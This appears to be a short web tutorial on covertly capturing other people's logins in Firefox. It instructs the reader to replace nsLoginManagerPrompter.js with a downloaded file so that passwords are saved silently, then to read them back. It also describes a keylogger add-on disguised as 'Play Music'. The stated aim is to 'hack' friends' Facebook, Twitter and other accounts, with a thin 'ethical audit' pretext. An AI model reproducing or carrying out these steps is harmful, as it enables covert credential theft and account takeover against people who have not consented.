STEPS FOR Mozilla Firefox into an undetectable keylogger
HACK FACEBOOK TWITTER ANY SITE BY MAKING KEYLOGGER IN YOUR COMPUTER
This keylogger will be used to store all the usernames and passwords that will be entered by the user. So that you can hack or audit for ethical reasons your friends accounts.
1) Close Firefox
2) Navigate to:
Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components.
3) Find The Script Named " nsLoginManagerPrompter.js"
4) Now you just need to download the following file unzip it and simply overwrite the existing nsLoginManagerPrompter.js.
From now on, when someone logs onto any site using your Firefox, their username and password will save automatically, without prompt!
To retrieve the account information, make sure Firefox is opened, go to Tools > Options. > Security Tab > click on saved passwords, then click on show passwords, and press yes...
2nd method
mozilla firefox keylogger addon
How to use it?
1. While on Firefox, please press Alt+L.
2. Initially, you get a blue mini-popup screen named "Definitions". Please make sure you fill-in all the fields. The add-on can't perform properly without!
3. Now you may open the log file by pressing Alt + L. The 'Definitions' popup screen also opens up, in order to let you change your definitions from time to time.
Notice!!!! When you need to uninstall this add-on, please uninstall the add-on 'Play Music'.